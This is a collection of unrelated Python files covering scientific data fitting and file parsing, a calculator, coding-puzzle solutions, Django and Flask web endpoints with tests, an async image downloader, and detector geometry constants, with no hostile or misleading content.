    #     shutil.move(os.path.join(file_path, i), os.path.join(move_path, i))

if __name__ == '__main__':
    file_path = '/home/krystal/workspace/dataset/cell/all_data/images'
    move_path = '/Users/xuexi/Desktop/12'
    move_file(file_path, move_path)


from getData import *
import LT_Fit.parameters as P
import LT_Fit.gen_fit as G

files = ['data1','data2']
Data = makeDict(files)
maximum = max(Data['data1']['Counts'])
currentData = Data['data1']
x = currentData['Angle']
y = currentData['Counts']
dy = np.sqrt(y)/maximum
y = y/maximum
B.plot_exp(x,y,dy)

A = P.Parameter(250., 'A')
Bs = P.Parameter(1., 'B')
C = P.Parameter(1., 'C')
D = P.Parameter(1., 'D')

def cosf(x):
    return -1*A() * np.cos(Bs() * x + C()) ** 2 + D()

fit = G.genfit(cosf, [A, Bs, C, D], x=x*np.pi/180, y=y)

B.plot_line(fit.xpl*180/np.pi,fit.ypl,color='red',label='$cos^2$ fit')
labels('Angle (Degrees)','Normalized Counts','Experimental Cosmic Rays',fit=fit,xy=(0.5,0.5))
B.pl.legend()

B.pl.figure('Second')

B.plot_exp(x,y,dy)
B.plot_line(fit.xpl*180/np.pi,fit.ypl,color='red',label='Coincidence Orientation 1')
fit_old = fit
currentData = Data['data2']
x = currentData['Angle']
y = currentData['Counts']
dy = np.sqrt(y)/maximum
y = y/maximum
B.plot_exp(x,y,dy,color='red')
fit = G.genfit(cosf, [A, Bs, C, D], x=x*np.pi/180, y=y)
B.plot_line(fit.xpl*180/np.pi,fit.ypl,color='blue',label='Coincidence Orientation 2')
B.pl.legend()
labels('Angle (Degrees)','Normalized Counts','Coincidence Module Orientation Bias',fit=[fit_old,fit],fit_names=['Orientation 1:','Orientation 2'],xy=(0.5,0.4))


from models.performer import Performer
from models.enums.sport import Sport

class MainRole(Performer):
    def __init__(self, name, job, salery, working_hours, film_type, age, number_of_performances, popylarity,
                 ability_to_sing: bool, sport_skills: Sport):
        super().__init__(name, job, salery, working_hours, film_type, age, number_of_performances, popylarity)
        self. ability_to_sing = ability_to_sing
        self.sport_skills = sport_skills


'''This module equals calculator program'''

from string import ascii_letters

def infix_to_postfix(infixexpr):
    '''
    Convert infix expression in postfix notation
    :param infixexpr:
    :return:
    '''
    op_stack = []
    postfix_list = []
    token_list = infixexpr.split()

    for token in token_list:
        check_var = check_variable(token)
        if check_var == 'variable':
            postfix_list.append(token)
        elif  token.isdigit():
            postfix_list.append(token)
        elif token == '(':
            op_stack.append(token)
        elif token == ')':
            top_token = op_stack.pop()
            while top_token != '(':
                postfix_list.append(top_token)
                top_token = op_stack.pop()
        elif token in possible_operation:
            while len(op_stack) > 0 and (prec[op_stack[-1]] >= prec[token]):
                postfix_list.append(op_stack.pop())
            op_stack.append(token)
        else:
            print(check_var)
            return ''

    while len(op_stack) > 0:
        postfix_list.append(op_stack.pop())
    return " ".join(postfix_list)

def postfix_calculate(expression):
    '''
    Calculate expression in postfix notation
    :param expression:
    :return:
    '''
    stack = []
    for operand in expression.split():
        if operand in ascii_letters:
            stack.append(int(user_dict[operand]))
        elif operand.isdigit():
            stack.append(int(operand))
        else:
            stack.append(calculate(stack.pop(), stack.pop(), operand))
        # print(stack.items)
    return stack

def calculate(x, y, operation):
    '''
    Calculate basic operation allow in program
    :param x:
    :param y:
    :param operation:
    :return:
    '''
    dict_calc = {'+': lambda x, y: x + y, \
                 '-': lambda x, y: y - x, \
                 '*': lambda x, y: x * y,
                 '/': lambda x, y: y / x}
    return dict_calc[operation](x, y)

def define_variables(variables):
    operands = variables.replace(' ', '').split('=')
    if len(operands) == 2:
        if operands[0].isalpha():
            if operands[1].isdigit(): # define variable and assigment numbers
                user_dict[operands[0]] = operands[1]
            elif operands[1].isalpha() and operands[1] in user_dict:
                user_dict[operands[0]] = user_dict[operands[1]]
            elif operands[1].isalpha() and operands[1] not in user_dict: # unknown variable
                print('Unknown variable')
            else:
                print('Invalid assignment')
        else:
            print('Invalid identifier')
    else:
        print('Invalid assignment')

def check_variable(variable, isprint=False):
    if variable.isalpha():
        if variable in user_dict and isprint:
            return user_dict[variable]
        elif variable in user_dict:
            return  'variable'
        else:
            return 'Unknown variable'
    elif isprint and (variable.isdigit() or variable[1:].isdigit()):
        return variable
    else:
        return 'Invalid identifier'

def exec_command(command):
    if command == '/help':
        print('The program calculates the expression')
    elif command.startswith('/'):
        print('Unknown command')

def expression_define(expression):
    postfix_expression = infix_to_postfix(expression)
    if postfix_expression != '':
        result = postfix_calculate(postfix_expression)
    if result != 'not answer':
        print(int(result[0]))

def choice_action(string):
    if '=' in string:
        define_variables(string)
    elif string.startswith('/'):
        exec_command(string)
    elif '+' in string or '-' in string[1:] or '/' in string or '*' in string:
        expression = parse_expression(string)
        if check_invalid_expression(expression):
            expression_define(expression)
    elif string.strip() != '':
        print(check_variable(string, isprint=True))

def parse_expression(expression):
    # expression = expression.replace(' ', '')
    dict_replace = {'---': '-', \
                    '--': '+', \
                    '+++': '+'}
    for key, value in dict_replace.items():
        expression = expression.replace(key, value)
    if ' ' not in expression:
        return ' '.join(expression)
    return expression.replace('(', '( ').replace(')', ' )')

def check_invalid_expression(expression):
    if expression.count('(') != expression.count(')') or \
        expression.count('**') > 0 or expression.count('//') > 0:
        print('Invalid expression')
        return False
    return True

# Initialisation program variables
user_dict = {}
user_in = input()
possible_operation = ['+', '-', '*', '/']
prec = {'^': 4,
        '*': 3, '/': 3,
        '+': 2, '-': 2,
        '(': 1}

while user_in != '/exit':
    choice_action(user_in)

    user_in = input()

print('Bye!')


def read_file():
    with open('input.txt', 'r') as file:
        lines = [list(line.strip()) for line in file]
    return lines

def part1():
    mult = 1
    gamma = 0
    epsilon = 0
    report = read_file()
    threshold = len(report)
    binlen = len(report[0])
    for pos in range(0, binlen):
        onecount = 0
        for rep in report:
            if rep[binlen-1-pos] == '1':
                onecount += 1
        if onecount > threshold/2:
            gamma += mult
        else:
            epsilon += mult
        mult *= 2
    print(gamma*epsilon)

# return the common list and uncommon list given position (com=True: common, com=False, uncommon)
def find_cu(binlst, pos, com):
    zero = []
    one = []
    threshold = len(binlst)  # threshold to become the most common bit
    onecount = 0
    for rep in binlst:
        if rep[pos] == '1':
            onecount += 1
            one.append(rep)
        else:
            zero.append(rep)
    if com:
        if onecount >= threshold-onecount:
            return one
        return zero
    else:
        if onecount < threshold-onecount:
            return one
        return zero

def part2():
    report = read_file()
    ox_pos = 0
    co_pos = 0
    ox = find_cu(report, ox_pos, True)
    co = find_cu(report, co_pos, False)
    while(len(ox) > 1):
        ox_pos += 1
        ox = find_cu(ox, ox_pos, True)
    while(len(co) > 1):
        co_pos += 1
        co = find_cu(co, co_pos, False)
    ox = ox[0]
    co = co[0]
    oxy = 0
    co2 = 0
    ind = len(report[0])-1
    mult = 1
    while(ind > -1):
        if ox[ind] == '1':
            oxy += mult
        if co[ind] == '1':
            co2 += mult
        mult *= 2
        ind -= 1
    print(oxy * co2)

if __name__ == '__main__':
    part1()
    part2()


#
# Following closely the code of TAPAS rDCM
#

import numpy as np
from .get_convolution_bm import get_convolution_bm
from .euler_make_indices import euler_make_indices
from .euler_gen import euler_gen

def generate(DCM, options, SNR):
  '''
  Generates synthetic fMRI data under a given signal to noise ratio (SNR)
  with the fixed hemodynamic convolution kernel

    Input:
      DCM         - model structure
      options     - estimation options
      SNR         - signal to noise ratio
    Output:
      DCM         - model structure with generated synthetic time series
  '''

  # compile source code of integrator
  # tapas_rdcm_compile()

  # Setting parameters
  if options is not None and options.y_dt:
      DCM.Y.dt = options.y_dt

  r_dt = DCM.Y.dt/DCM.U.dt
  N = DCM.U.u.shape[0] # DCM.U.u is sparse?
  nr = DCM.a.shape[0]

  # specify the array for the data
  y = np.zeros(( N, nr ))

  # generate fixed hemodynamic response function (HRF)
  if not hasattr(options,'h') or len(options.h) != DCM.U.u.shape[0]:
      options.DCM         = DCM
      options.conv_dt     = DCM.U.dt
      options.conv_length = DCM.U.u.shape[0]
      options.conv_full   = 'true'
      options.h           = get_convolution_bm(options)

  # get the hemodynamic response function (HRF)
  h = options.h

  # Getting neuronal signal (x)
  DCM.U.u = np.vstack([ DCM.U.u, DCM.U.u, DCM.U.u ])
  DCM     = euler_make_indices(DCM)
  *_, x   = euler_gen(DCM, DCM.Tp)
  DCM.U.u = DCM.U.u[:N, :]

  # Convolving neuronal signal with HRF
  for i in range(nr):
      tmp = np.fft.ifft(np.fft.fft(x[:,i]) * np.fft.fft(np.vstack([ h, np.zeros(( N*3 - len(h), 1 )) ])))
      y[:,i] = tmp[N:2*N]
  end

  # Sampling
  y = y[::r_dt, :]

  # Adding noise
  eps = np.random.randn(y.shape) * np.diag(np.std(y) / SNR)
  y_noise = y + eps

  # Saving the generated data
  DCM.Y.y = y_noise
  DCM.y = y
  DCM.x = x[N:2*N]

  return DCM


import sys
import math

a, p = sys.stdin.readline().split()
p = int(p)

d = [int(a)]
dup = 0

while True:
    res = 0
    for i in str(d[-1]):
        res += math.pow(int(i), p)

    if res == dup:
        break
    elif res in d:
        dup = res
    else:
        d.append(int(res))

print(len(d[:d.index(dup)]))


import pytest
from unittest import mock

from botocore.exceptions import ClientError
from unittest.mock import patch, MagicMock

from django.urls import reverse
from requests import HTTPError

from core.tests.helpers import create_response

OPTIONS_DATA = {
    'actions': {
        'POST': {
            'country': {
                'choices': [
                    {
                        'value': 'AF',
                        'display_name': 'Afghanistan'
                    },
                ]
            },
            'market': {
                'choices': [
                    {
                        'value': 'africa',
                        'display_name': 'africa'
                    },
                    {
                        'value': 'canada',
                        'display_name': 'canada'
                    }
                ]
            },
            'sector': {
                'choices': [
                    {
                        'value': 'tech',
                        'display_name': 'Technology'
                    },
                    {
                        'value': 'automotive',
                        'display_name': 'Automotive'
                    },
                ]
            }
        }
    }
}

@patch('pir_client.client.pir_api_client.get_options')
def test_perfect_fit_main_view_get(mock_get_options, client, settings):
    mock_get_options.return_value = create_response(OPTIONS_DATA)
    url = reverse('perfect_fit_prospectus:main')
    response = client.get(url)
    assert response.status_code == 200

@patch('pir_client.client.pir_api_client.get_options')
def test_perfect_fit_main_view_get_error(mock_get_options, client):
    mock_get_options.side_effect = HTTPError

    with pytest.raises(HTTPError):
        url = reverse('perfect_fit_prospectus:main')
        response = client.get(url)
        assert response.status_code == 500

@patch('pir_client.client.pir_api_client.create_report')
@patch('pir_client.client.pir_api_client.get_options')
def test_perfect_fit_main_view_post_client_error(mock_get_options, mock_create_report, client, captcha_stub):
    mock_get_options.return_value = create_response(OPTIONS_DATA)

    mock_create_report.side_effect = HTTPError

    valid_data = {
        'name': 'Ted',
        'company': 'Corp',
        'email': 'ted@example.com',
        'country': 'AF',
        'sector': 'tech',
        'g-recaptcha-response': captcha_stub,
        'gdpr_optin': 'on'
    }
    url = reverse('perfect_fit_prospectus:main')
    with pytest.raises(HTTPError):
        client.post(url, data=valid_data)

@patch('pir_client.client.pir_api_client.create_report')
@patch('pir_client.client.pir_api_client.get_options')
def test_perfect_fit_main_view_post_valid_data(mock_get_options, mock_create_report, captcha_stub, client):
    mock_get_options.return_value = create_response(OPTIONS_DATA)

    valid_data = {
        'name': 'Ted',
        'company': 'Corp',
        'email': 'ted@example.com',
        'country': 'AF',
        'sector': 'tech',
        'g-recaptcha-response': captcha_stub,
        'gdpr_optin': 'on',
        'accessible': False,
    }

    url = reverse('perfect_fit_prospectus:main')
    response = client.post(url, data=valid_data)
    assert response.status_code == 302

    success_response = client.post(
        url, data=valid_data, follow=True)
    assert success_response.status_code == 200

    messages = [
        message.message for message in
        list(success_response.context['messages'])]
    assert 'ted@example.com' in messages[0]

    assert mock_create_report.called is True
    assert mock_create_report.call_args == mock.call(
        {
            'name': 'Ted', 'company': 'Corp', 'email': 'ted@example.com',
            'phone_number': '', 'country': 'AF', 'gdpr_optin': True,
            'captcha': 'PASSED', 'sector': 'tech', 'accessible': False,
        }
    )

@patch('perfect_fit_prospectus.views.boto3')
def test_perfect_fit_report_proxy_view_success(mock_boto3, client):
    mock_boto3.client().generate_presigned_url.return_value = (
        'http://www.example.com/test.pdf'
    )

    url = reverse(
        'perfect_fit_prospectus:report',
        kwargs={'filename': 'test.pdf'}
    )
    response = client.get(url)
    assert response['location'] == 'http://www.example.com/test.pdf'

@patch('perfect_fit_prospectus.views.boto3')
def test_perfect_fit_report_proxy_view_key_not_found(mock_boto3, client):
    mock_boto3.client().head_object.side_effect = ClientError(
        MagicMock(), MagicMock()
    )
    url = reverse(
        'perfect_fit_prospectus:report',
        kwargs={'filename': 'test.pdf'}
    )
    response = client.get(url)
    assert response.status_code == 404


"""
To handle the Distributor and its account
"""

from datetime import datetime, timedelta

from dateutil.relativedelta import relativedelta
from flask import request
from flask_restplus import Resource

from wolfpub.api.handlers.account import AccountBillHandler
from wolfpub.api.handlers.distributor import DistributorHandler
from wolfpub.api.handlers.report import ReportHandler
from wolfpub.api.models.serializers import REVENUE_REPORT_ARGUMENTS, SALARY_REPORT_ARGUMENTS, \
    TIME_PERIOD_REPORT_ARGUMENTS, MONTHLY_REPORT_ARGUMENTS
from wolfpub.api.restplus import api
from wolfpub.api.utils.custom_exceptions import QueryGenerationException, MariaDBException
from wolfpub.api.utils.custom_response import CustomResponse
from wolfpub.api.utils.mariadb_connector import MariaDBConnector

ns = api.namespace('reports', description='Route admin for report actions.')

# Creating handler objects
mariadb = MariaDBConnector()
distributor_handler = DistributorHandler(mariadb)
report_handler = ReportHandler(mariadb)
account_bill_handler = AccountBillHandler(mariadb)

# Generate monthly reports
@ns.route("/monthly")
class MonthlyReport(Resource):
    """
    Focuses on monthly report of WolfPubDB.
    """

    @ns.expect(MONTHLY_REPORT_ARGUMENTS, validate=True)
    def get(self):
        """
        End-point to get the monthly report of revenue and expenditure
        """
        try:
            month = request.args.get('month', None)
            year = request.args.get('year', None)
            if not month or not year:
                today = datetime.today()
                month = today.month
                year = today.year
            start_date = datetime(int(year), int(month), 1)
            end_date = start_date + relativedelta(months=1)
            start_date = start_date.strftime('%Y-%m-%d')
            end_date = end_date.strftime('%Y-%m-%d')
            output = {}
            output['order_per_pub_per_dist'] = report_handler.get_number_price_per_publication_per_distributor(start_date, end_date)
            output['total_revenue'] = report_handler.get_revenue(start_date, end_date)
            output['total_expense'] = report_handler.get_salary_expense(start_date, end_date)
            output['total_expense'].update(report_handler.get_shipping_cost_expense(start_date, end_date))
            report_handler.set_monthly_report(output, month, year)
            return CustomResponse(data=output)
        except (QueryGenerationException, MariaDBException, ValueError) as e:
            return CustomResponse(error=e.__class__.__name__, message=e.__str__(), status_code=400)

# Fetch revenue
@ns.route("/revenue")
class RevenueReport(Resource):
    """
    Focuses on revenue report of WolfPubDB.
    """

    @ns.expect(TIME_PERIOD_REPORT_ARGUMENTS, REVENUE_REPORT_ARGUMENTS, validate=True)
    def get(self):
        """
        End-point to get the report of revenue per_distributor or per_city or per_location
        """
        try:
            start_date = request.args.get('start_date', None)
            end_date = request.args.get('end_date', None)
            stats = request.args.get('stats', 'total')
            output = {stat.strip(): {} for stat in stats.split(',')}
            if 'total' in output:
                output['total'] = report_handler.get_revenue(start_date, end_date)
            if 'distributor_wise' in output:
                output['distributor_wise'] = report_handler.get_revenue_per_distributor(start_date, end_date)
            if 'city_wise' in output:
                output['city_wise'] = report_handler.get_revenue_per_city(start_date, end_date)
            if 'location_wise' in output:
                output['location_wise'] = report_handler.get_revenue_per_location(start_date, end_date)
            return CustomResponse(data={'revenue': output})
        except (QueryGenerationException, MariaDBException, ValueError) as e:
            return CustomResponse(error=e.__class__.__name__, message=e.__str__(), status_code=400)

# Fetch count of active distributors
@ns.route("/distributors/active/count")
class DistributorReport(Resource):
    """
    Focuses on active distributor's count of WolfPubDB.
    """

    def get(self):
        """
        End-point to get the report of active distributor
        """
        try:
            count = report_handler.get_active_distributor_count()
            return CustomResponse(data=count)
        except (QueryGenerationException, MariaDBException, ValueError) as e:
            return CustomResponse(error=e.__class__.__name__, message=e.__str__(), status_code=400)

# Fetch expenses
@ns.route("/salary-payment")
class SalaryReport(Resource):
    """
    Focuses on report for salary paid by WolfPubDB to employees.
    """

    @ns.expect(SALARY_REPORT_ARGUMENTS, validate=True)
    def get(self):
        """
        End-point to get the report of revenue and expenditure
        """
        try:
            stats = request.args.get('stats', 'total')
            output = {stat.strip(): {} for stat in stats.split(',')}
            if 'total' in output:
                output = report_handler.get_salary_expense()
            elif 'per_month' in output and 'per_work_type' in output:
                output = report_handler.get_salary_expense_per_month_per_worktype()
            elif 'per_month' in output:
                output = report_handler.get_salary_expense_per_month()
            elif 'per_work_type' in output:
                output = report_handler.get_salary_expense_per_worktype()
            return CustomResponse(data=output)
        except (QueryGenerationException, MariaDBException, ValueError) as e:
            return CustomResponse(error=e.__class__.__name__, message=e.__str__(), status_code=400)


# coding: utf8

import numpy as np
import os

print ("there are issues with first step. number of wannier center printed is wrong. please check with analysis ")

os.system('rm output.txt')

fn=input ('input .dcd file: ')

# DCD file header
#   (name, dtype, shape)
# numpy dtypes:
#   i4  = int32
#   f4  = float32 (single precision)
#   f8  = float64 (double precision)
#   S80 = string of length 80 (80 chars)
HEADER_TYPES = [\
    ('blk0-0',  'i4',1  ),  # 84 (start of first block, size=84 bytes)
    ('hdr',     'S4',1  ),  # 'CORD'
    ('9int',    'i4',9  ),  # 9 ints, mostly 0
    ('timestep','f4',1  ),  # timestep (float32)
    ('10int',   'i4',10 ),  # 10 ints, mostly 0, last is 24
    ('blk0-1',  'i4',1  ),  # 84
    ('blk1-0',  'i4',1  ),  # 164
    ('ntitle',  'i4',1  ),  # 2
    ('remark1', 'S80',1 ),  # remark1
    ('remark2', 'S80',1 ),  # remark2
    ('blk1-1',  'i4',1  ),  # 164
    ('blk2-0',  'i4',1  ),  # 4 (4 bytes = int32)
    ('natoms',  'i4',1  ),  # natoms (int32)
    ('blk2-1',  'i4',1  ),  # 4
    ]

HEADER_DTYPE = np.dtype(HEADER_TYPES)

"""Read dcd file. Fastest version. Calculates nstep from bytes between
end-of-header and EOF.

Parameters
----------
fn : str
    filename
convang : bool
    convert angles from cosine to degree (only useful for lammps style dcd
    files)

Returns
-------
ret : (cryst_const, coords)
    | cryst_const : (nstep,6) float64 array, (a,b,c,alpha,beta,gamma),
    |               Angstrom, degrees
    | coords : (nstep, natoms, 3) float32 array, cartesian coords Angstrom

Examples
--------
>>> # default settings read cp2k files
>>> cc,co = read_dcd_data('cp2k.dcd')
>>> cc,co = read_dcd_data('cp2k.dcd', convang=False)
>>> cc,co = read_dcd_data('lammps.dcd', convang=True)
"""
fd = open(fn, 'rb')
natoms = np.fromfile(fd, HEADER_DTYPE, 1)[0]['natoms']
fd_pos = fd.tell()
# seek to end
fd.seek(0, os.SEEK_END)
# number of bytes between fd_pos and end
fd_rest = fd.tell() - fd_pos
# reset to pos after header
fd.seek(fd_pos)
# calculate nstep: fd_rest / bytes_per_timestep
# 4 - initial 48
# 6*8 - cryst_const_dcd
# 7*4 - markers between x,y,z and at the end of the block
# 3*4*natoms - float32 cartesian coords
nstep = fd_rest / (4 + 6*8 + 7*4 + 3*4*natoms*1.0)
assert nstep % 1.0 == 0.0, ("calculated nstep is not int, cannot "
                            "read file '{}'".format(fn))
nstep = int(nstep)
# dtype for fromfile: nstep times dtype of a timestep data block
dtype = \
    np.dtype(([('x0', 'i4'),
               ('x1', 'f8', (6,)),
               ('x2', 'i4', (2,)),
               ('x3', 'f4', (natoms,)),
               ('x4', 'i4', (2,)),
               ('x5', 'f4', (natoms,)),
               ('x6', 'i4', (2,)),
               ('x7', 'f4', (natoms,)),
               ('x8', 'i4')],
               (nstep,)))
arr = np.fromfile(fd, dtype, 1)
fd.close()
cryst_const = np.empty((nstep,6), dtype=np.float64)
cryst_const[:,0] = arr['x1'][0,:,0]
cryst_const[:,1] = arr['x1'][0,:,2]
cryst_const[:,2] = arr['x1'][0,:,5]
cryst_const[:,3] = arr['x1'][0,:,4]
cryst_const[:,4] = arr['x1'][0,:,3]
cryst_const[:,5] = arr['x1'][0,:,1]
coords = np.empty((nstep,natoms,3), dtype=np.float32)
coords[...,0] = arr['x3'][0,...]
coords[...,1] = arr['x5'][0,...]
coords[...,2] = arr['x7'][0,...]
#if convang:
#    cryst_const[:,3:] = np.arccos(cryst_const[:,3:])*180.0/np.pi

label=[]
fn=input('template xyz file: ')
fd = open(fn,'r')
a=fd.readlines()
fd.close

del a[1],a[0]
for i in range(natoms):
    x=a[i].split()[0]
    label.append(x)

n=360

for i in range(nstep):
    print (natoms-n,file=open("output.txt", "a"))
    print (cryst_const[i,0],cryst_const[i,1],cryst_const[i,2],cryst_const[i,3],cryst_const[i,4],cryst_const[i,5],file=open("output.txt", "a"))
    for k in range(n,natoms):
        print (label[k],coords[i,k,0],coords[i,k,1],coords[i,k,2],file=open("output.txt", "a"))

os.system('mv output.txt position_dcd.xyz')


"""Main"""
import asyncio
from itertools import chain
from pathlib import Path
from typing import List, Dict

import aiofiles
import aiohttp
from aiofiles import os
from aiohttp import ClientSession
from loguru import logger
from pydantic import parse_obj_as

from downloader.models import Album, Photo, PhotoTask

ALBUM_URL = "https://jsonplaceholder.typicode.com/albums/"
PHOTOS_URL = "https://jsonplaceholder.typicode.com/photos/"
PHOTO_EXT = ".png"
WORKERS = 100

async def fetch_json(url: str, session: ClientSession) -> str:
    """Download by url

    Args:
        url: str
        session: Aiohttp ClientSession

    Returns:
        json

    """
    async with session.get(url) as response:
        return await response.json()

async def fetch_raw(url: str, session: ClientSession) -> bytes:
    """Download by url

    Args:
        url: str
        session: Aiohttp ClientSession

    Returns:
        bytes

    """

    async with session.get(url) as response:
        return await response.read()

async def create_folder(path: Path):
    """Create folder

    Args:
        path: str

    """
    try:
        await os.mkdir(path)
    except FileExistsError:
        pass

async def save_file(path: Path, raw: bytes):
    """Save file

    Args:
        path: Path file
        raw: bytes

    """
    async with aiofiles.open(path, mode="wb") as file:
        await file.write(raw)

async def get_albums(url: str, session: ClientSession) -> Dict[int, Album]:
    """Download albums

    Args:
        url: str
        session: Aiohttp ClientSession

    Returns:
        key - Album.id, value - Album

    """
    data = await fetch_json(url, session)
    albums = {}

    album: Album
    for album in parse_obj_as(List[Album], data):
        albums[album.id_] = album

    logger.debug("загружено albums_json")
    return albums

async def get_photos(url: str, session: ClientSession) -> List[Photo]:
    """Download photos

    Args:
        url: str
        session: Aiohttp ClientSession

    Returns:
        List Photo

    """
    data = await fetch_json(url, session)
    logger.debug("загружено photos_json")
    return parse_obj_as(List[Photo], data)

async def get_photo(session: ClientSession, tasks: asyncio.Queue, res: asyncio.Queue):
    """Worker get photo raw

    Args:
        session: Aiohttp ClientSession
        tasks: Queue PhotoTask
        res: Queue PhotoTask(with raw photo)

    """
    while True:
        photo: PhotoTask = await tasks.get()

        data = await fetch_raw(photo.url, session)
        await res.put(photo._replace(raw=data))

        logger.debug(f"загружено {photo.url}")
        tasks.task_done()

async def save_photo(tasks: asyncio.Queue):
    """Worker save photo

    Args:
        tasks: Queue PhotoTask(with raw photo)

    """
    while True:
        photo: PhotoTask = await tasks.get()
        album_path = photo.path / photo.album_title
        file_name = album_path.joinpath(photo.title).with_suffix(PHOTO_EXT)

        await create_folder(album_path)
        if photo.raw:
            await save_file(file_name, photo.raw)
        else:
            raise Exception("Incorrect Photo Task")

        logger.debug(f"записано {file_name}")
        tasks.task_done()

async def load_photos(session: ClientSession, get_photo_queue: asyncio.Queue, save_photo_queue: asyncio.Queue):
    """Create workers

    Args:
        session: Aiohttp ClientSession
        get_photo_queue: Queue PhotoTask
        save_photo_queue: Queue PhotoTask(with raw photo)

    Returns:

    """
    tasks_get_photo = []
    for _ in range(WORKERS):
        task = asyncio.create_task(get_photo(session, get_photo_queue, save_photo_queue))
        tasks_get_photo.append(task)
    return tasks_get_photo

async def save_photos(save_photo_queue: asyncio.Queue):
    """Create workers

    Args:
        save_photo_queue: Queue PhotoTask(with raw photo)

    """
    tasks_save_photo = []
    for _ in range(WORKERS):
        task = asyncio.create_task(save_photo(save_photo_queue))
        tasks_save_photo.append(task)
    return tasks_save_photo

async def download(folder: str):  # pylint: disable=missing-function-docstring
    logger.info("Запуск")
    folder_path = Path(folder)
    await create_folder(folder_path)

    # очереди
    get_photo_queue = asyncio.Queue()
    save_photo_queue = asyncio.Queue()

    async with aiohttp.ClientSession() as session:
        albums = await get_albums(ALBUM_URL, session)
        photos = await get_photos(PHOTOS_URL, session)

        photo: Photo
        for photo in photos:
            await get_photo_queue.put(PhotoTask(
                url=photo.url,
                album_title=albums[photo.albumId].title,
                title=photo.title,
                path=folder_path,
            ))

        task1 = asyncio.create_task(
            load_photos(session, get_photo_queue, save_photo_queue)
        )
        task2 = asyncio.create_task(save_photos(save_photo_queue))

        tasks_get_photo = await task1
        tasks_save_photo = await task2

        await get_photo_queue.join()
        await save_photo_queue.join()

    for task in chain(tasks_get_photo, tasks_save_photo):
        task.cancel()

    await asyncio.gather(*tasks_get_photo, return_exceptions=True)
    await asyncio.gather(*tasks_get_photo, return_exceptions=True)
    logger.info("Загружено")


class Solution(object):
    def largestWordCount(self, messages, senders):
        """
        :type messages: List[str]
        :type senders: List[str]
        :rtype: str
        """
        dic={}
        for (words,sender) in zip(messages,senders):

            length=len(words.split())
            #print(length)
            dic[sender]=dic.get(sender,0)+length

        count=0
        ans=''
        for s in senders:
            if dic[s]>count:
                count=dic[s]
                ans=s
            elif dic[s]==count and s>ans:
                ans=s

        return ans

bitweekly-contest79/Sender With Largest Word Count.py


#!/usr/bin/python3
# -*- coding: utf-8 -*-

import cgi
import yaml
import sqlite3
import json
# import cgitb
# cgitb.enable()

print("Content-Type:application/json;charset=utf-8\n")

config = yaml.safe_load(open("/opt/shazbuckbot/config.yml"))
DATABASE = config['database']

# get cgi object
form = cgi.FieldStorage()

sql = ''' SELECT discord_id, nick, balance FROM users '''
values = ()

if form.getvalue('discord_id'):
    discord_id = form.getvalue('discord_id')
    if discord_id.isdigit():
        sql = ''' SELECT discord_id, nick, balance FROM users WHERE discord_id = ? '''
        values = (int(discord_id),)

conn = sqlite3.connect(DATABASE)
cur = conn.cursor()
cur.execute(sql, values)
data = [dict((cur.description[i][0], value) for i, value in enumerate(row)) for row in cur.fetchall()]
conn.close()

if data:
    if len(data) == 1:
        print(json.dumps(data[0]))
    else:
        print(json.dumps(data))
else:
    print('ERROR')


"""
 python dictionary with parameters extracted from: /data/ilcsoft/HEAD/lcgeo/HEAD/ILD/compact/ILD_o1_v05/ILD_o1_v05.xml
"""
values={}
values["VXD_inner_radius"] = 16.0
values["VXD_outer_radius"] = 60.0
values["VXD_half_length"] = 177.6
values["VXD_cone_min_z"] = 80.0
values["VXD_cone_max_z"] = 150.0
values["VXD_inner_radius_1"] = 24.1
values["SIT_inner_radius"] = 152.9
values["SIT_outer_radius"] = 324.609420868
values["SIT_half_length"] = 644.1
values["SIT_outer_radius_1"] = 299.8
values["SIT_half_length_1"] = 368.1
values["TPC_inner_radius"] = 329.0
values["TPC_outer_radius"] = 1808.0
values["TPC_half_length"] = 2350.0
values["FTD_inner_radius"] = 25.1
values["FTD_outer_radius"] = 328.9
values["FTD_half_length"] = 2350.0
values["FTD_outer_radius_1"] = 152.8
values["FTD_outer_radius_2"] = 299.7
values["FTD_min_z_0"] = 177.7
values["FTD_min_z_1"] = 368.2
values["FTD_min_z_2"] = 644.2
values["FTD_cone_min_z"] = 230.0
values["FTD_cone_radius"] = 184.093
values["SET_inner_radius"] = 1808.1
values["SET_outer_radius"] = 1827.9
values["SET_half_length"] = 2350.0
values["Ecal_Hcal_symmetry"] = 8.0
values["Ecal_inner_radius"] = 1843.0
values["Ecal_outer_radius"] = 2028.0
values["Ecal_half_length"] = 2350.0
values["Ecal_symmetry"] = 8.0
values["Hcal_inner_radius"] = 2058.0
values["Hcal_outer_radius"] = 3395.46
values["Hcal_half_length"] = 2350.0
values["Hcal_inner_symmetry"] = 8.0
values["Yoke_inner_radius"] = 4424.0
values["Yoke_outer_radius"] = 7725.0
values["Yoke_half_length"] = 4047.0
values["Yoke_symmetry"] = 12.0
values["EcalEndcap_inner_radius"] = 400.0
values["EcalEndcap_outer_radius"] = 2088.8
values["EcalEndcap_min_z"] = 2450.0
values["EcalEndcap_max_z"] = 2635.0
values["EcalEndcap_symmetry"] = 8.0
values["HcalEndcap_inner_radius"] = 350.0
values["HcalEndcap_outer_radius"] = 3395.46
values["HcalEndcap_min_z"] = 2650.0
values["HcalEndcap_max_z"] = 3937.0
values["HcalEndcapRing_inner_radius"] = 2138.8
values["HcalEndcapRing_outer_radius"] = 3136.99599912
values["HcalEndcapRing_min_z"] = 2450.0
values["HcalEndcapRing_max_z"] = 2635.0
values["HcalEndcapRing_symmetry"] = 8.0
values["YokeEndcap_inner_radius"] = 300.0
values["YokeEndcap_outer_radius"] = 7725.0
values["YokeEndcap_min_z"] = 4072.0
values["YokeEndcap_max_z"] = 7373.0
values["YokeEndcap_symmetry"] = 12.0
values["YokeEndcapPlug_inner_radius"] = 300.0
values["YokeEndcapPlug_outer_radius"] = 3395.46
values["YokeEndcapPlug_min_z"] = 3981.5
values["YokeEndcapPlug_max_z"] = 4072.0
values["YokeEndcapPlug_symmetry"] = 12.0
values["EcalEndcapRing_inner_radius"] = 250.0
values["EcalEndcapRing_outer_radius"] = 390.0
values["EcalEndcapRing_min_z"] = 2450.0
values["EcalEndcapRing_max_z"] = 2635.0
values["Coil_inner_radius"] = 3424.96
values["Coil_outer_radius"] = 4174.96
values["Coil_half_length"] = 3872.0
values["BeamCal_inner_radius"] = 20.0
values["BeamCal_outer_radius"] = 150.0
values["BeamCal_min_z"] = 3475.0
values["BeamCal_max_z"] = 3695.0024
values["BeamCal_thickness"] = 220.0024
values["BeamCal_tubeIncoming_radius"] = 15.0
values["LumiCal_inner_radius"] = 80.0
values["LumiCal_outer_radius"] = 195.2
